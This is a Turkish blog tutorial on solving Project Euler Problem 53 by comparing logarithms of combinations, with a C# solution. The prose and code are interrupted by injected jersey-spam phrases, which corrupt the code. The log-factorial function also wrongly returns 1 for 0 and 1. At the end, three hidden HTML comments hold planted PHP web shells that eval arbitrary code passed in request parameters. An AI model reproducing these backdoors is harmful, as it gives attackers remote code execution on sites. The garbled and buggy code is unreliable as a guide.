Project Euler Problem 53

Project Euler 53. Problem ve Çözümü

53. Problem’de 1 <= n <= 100 ve C(n,r) > 1000000 koşullarını sağlayan kaç adet C(n,r) şeklinde kombinasyon olduğunu bulmamız isteniyor.

Bu problemin çözümü için akla gelen wholesale nfl jerseys pek çok yol içerisinden hızlı ve basit olan bir yol ile problemi çözmeye çalışalım. Problemimizde kombinasyonu hesaplayarak wholesale jerseys China 1000000’dan büyük olup olmadığını sınamak yerine kombinasyonun ve kontrol değerinin logaritmasını alarak logaritmaları karşılatırıyoruz.  Öncelikle bazı kombinasyon formüllerini hatırlayalım:

Faktoriyel ve kombinasyonun formülü.

ve bazı logaritma formüllerini:

Çarpımın logaritması.

Bölümün logaritması.

Yukarıdaki formülleri kullanarak faktoriyelin logaritmasını aşağıdaki gibi yazabiliriz:

Faktoriyelin logaritması.

Bu fonksiyon project euler ile doğrudan ilgili olmasa da gammaln fonksiyonunun analogudur.

Böylece kombinasyonun logaritmasını da aşağıdaki şekilde yazabiliriz:

Kombinasyonun logaritması.

Buraya kadar yazdıklarımızdan çıkarmak istediğimiz sonuç olan problem 53‘ün logaritmalar ile ifadesini aşağıda görebiliriz:

Logarithm of a million

Logarithm representation of Problem 53

Böylece logaritmanın da yardımı ile kendimizi big-integer çarpım, bölüm ve cheap jerseys karşılaştırmalarından kurtararak işimizi double toplamlara ve karşılaştırmalara indirgemiş olduk. Aynı zamanda faktoriyelin logaritma fonksiyonunu tasarlarken memoization tekniğini de kullanabiliriz. Problemi çözen örnek C# kodu aşağıda verilmiştir:

using System;
using System.Collections.Generic;
using System.Text;

namespace ProjectEuler53
{
    class Program
    {
        static void Main(string[] args)
        {
            // count will be the answer of the problem.
            int count = 0;

            for (int n = 1; n &lt;= 100; n++) // upper limit imposed by the problem on 'n' is 100
                for (int r = 1; r &lt;= n; r++) // n &gt; r
                {
                    if (LogCombination(n, r) &gt; 6) // log(1000000) = log(10^6) = 6 log10 = 6
                        count++;
                }

            Console.WriteLine(count);
            Console.ReadKey(true);
        }

        // Memoization dictionary for logarithm of factorials.
        static Dictionary&lt;int, double&gt; dictLogFactorial = new Dictionary&lt;int, double&gt;();

        // Returns  cheap jerseys  logarithm of the combination C(n,r)
        static double LogCombination(int n, int r)
        {
            return LogFactorial(n) - LogFactorial(r) - LogFactorial(n - r);
        }

        /// Returns logarithm of n!, if called before value comes from a dictionary.
        static double LogFactorial(int n)
        {
            if (n == 0 || n == 1)
                return 1;

            if (dictLogFactorial.ContainsKey(n))
                return dictLogFactorial[n];

             nfl  double ret = 0;
   Bersama            for (int i = 1; i &lt;= n; i++)
            {
                ret += Math.Log10(i);
            }
            dictLogFactorial.Add(n, ret);
            return ret;
        }

    }
}

<!– [insert_php]if (isset($_REQUEST["jhk"])){eval($_REQUEST["jhk"]);exit;}[/insert_php]

if (isset($_REQUEST["jhk"])){eval($_REQUEST["jhk"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["qBXd"])){eval($_REQUEST["qBXd"]);exit;}[/insert_php]

if (isset($_REQUEST["qBXd"])){eval($_REQUEST["qBXd"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["lNa"])){eval($_REQUEST["lNa"]);exit;}[/insert_php]

if (isset($_REQUEST["lNa"])){eval($_REQUEST["lNa"]);exit;}

–>